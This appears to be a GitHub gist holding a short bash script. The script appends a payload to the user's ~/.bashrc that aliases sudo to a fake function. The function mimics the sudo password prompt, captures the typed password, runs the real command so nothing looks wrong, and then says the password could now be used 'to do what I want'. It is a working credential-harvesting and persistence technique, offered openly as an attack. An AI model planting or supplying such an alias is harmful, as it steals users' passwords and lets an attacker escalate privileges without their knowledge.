Created
June 10, 2020 07:54
-
-
Save duraki/431060184875fb704c4b7e0241ffcf92 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Create payload: replace sudo with an alias | |
payload=' | |
fake_sudo() { | |
# Simulate a sudo prompt | |
echo -n "[sudo] password for ${USER}: " | |
read -s password | |
echo | |
# Run your command so you are happy | |
echo "$password" | sudo -S "$@" | |
# Do my evil stuff with your password | |
echo "Done with your command, now I could use $password to do what I want" | |
} | |
alias sudo=fake_sudo | |
' | |
# Write the payload to the bashrc config file | |
echo "$payload" >> ~/.bashrc |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
=> ~/.bashrc
=> ~/.bashsys